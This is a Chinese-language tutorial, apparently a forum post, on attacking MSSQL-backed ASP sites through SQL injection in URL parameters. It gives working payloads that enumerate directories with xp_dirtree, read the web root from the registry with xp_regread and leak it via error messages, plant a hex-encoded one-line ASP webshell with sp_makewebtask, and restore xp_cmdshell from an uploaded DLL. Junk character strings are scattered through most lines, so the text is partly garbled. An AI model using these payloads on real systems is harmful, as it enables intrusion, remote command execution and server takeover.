好,我们exec master..xp_dirtree'd:/test'
% o: H% W2 f4 q# z) n4 D' N假设我们在test里有两个文件夹test1和test2在test1里又有test3+ `/ b1 q* K0 u/ P
结果显示' R+ W9 x: Q [( {
) b9 ?, r/ K3 @: Usubdirectory depth ^! N* J3 Y. {
test1 1
( g" K' X! L6 E& D) K5 S; F# Vtest3 2
- I) F0 _7 r1 _3 O' |test2 1
8 U) x2 j' _3 L$ V) c
) M r2 Y; g3 p7 o6 X哈哈发现没有那个depth就是目录的级数5 v# Y0 H7 |, G4 g; [; h0 k+ h
ok了,知道怎么办了吧
3 c# b& N) ^* c0 @' b/ v
* L9 d$ e( r+ [4 W1 d; J( m, ^9 b! ~& thttp://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
3 r/ \( R1 i$ b% {http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' -- ; }! m C1 E) T# L% D
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-' [2 N9 w+ X: K
( R) u" v7 s- t/ Q! @' U只要加上id=1,就是第一级目录 。( d! B/ P* {/ x" r, L% t# o
# k) M/ e4 D7 b5 j7 w8 a3 r1 U: l9 @5 M
通过注册表读网站路径:
. S, P- c! {* U; m$ ?
% k6 H, {) j9 k9 S9 M7 n! q1.;create table [dbo].[cyfd] ([gyfd][char](255));+ f* }! O& K% w& U, Q
1 V: Q6 N6 _8 ]& P, \" ]2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
; ]% d X! G9 t$ R# ^id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--% j/ [3 n* ?/ c4 t @0 j
- y; ]! m# N+ ^' l- F2 C3.and 1=(select count(*) from 临时表 where 临时字段名>1)+ q; n3 W$ Z, q- j' ^: C
and 1=(select count(*) from cyfd where gyfd > 1) ( R( F, Q R, L" r7 R8 _
这样IE报错,就把刚才插进去的Web路径的值报出来了$ x8 ]7 M8 a% e. d
: `/ `2 ~4 x3 c3 z; i P* c0 J7 [6 ?4.drop table cyfd;-- 删除临时表
3 B! ~4 o0 t- c. _7 `) V$ Q
. s& l# f* d1 H& }. s) L获得webshell方法:
" B E) u/ ~+ w* ~% c1.create table cmd (a image)-- \**cmd是创建的临时表
0 Y/ ~' g6 \; Q4 T/ G% f+ R# ~% l: I4 k
2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
C) {2 N$ y1 E; G, |3 F, w
* x, \8 ]- W5 u& `) y
' R, e0 q- S2 k+ Z3 {( U3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
/ ~) E# m6 b0 @6 k+ ~0 G1 _EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
8 A# W. u d5 D
2 E8 r3 ]/ R1 X) h4.drop table cmd;-- 删除cmd临时表
8 ^8 R ~( I# X3 P) z1 c1 }0 c
, k; d( M( y6 ~恢复xp_cmdshell方法之一:6 F/ X- R* _( H1 s, V" w8 q
我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:+ F) P4 m' F; c: y, ]3 Q1 M
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'4 D: z/ S1 f$ \% d! I
恢复,支持绝对路径的恢复哦。:)2 G' x& D8 k4 ~9 }( U q+ ~1 L
|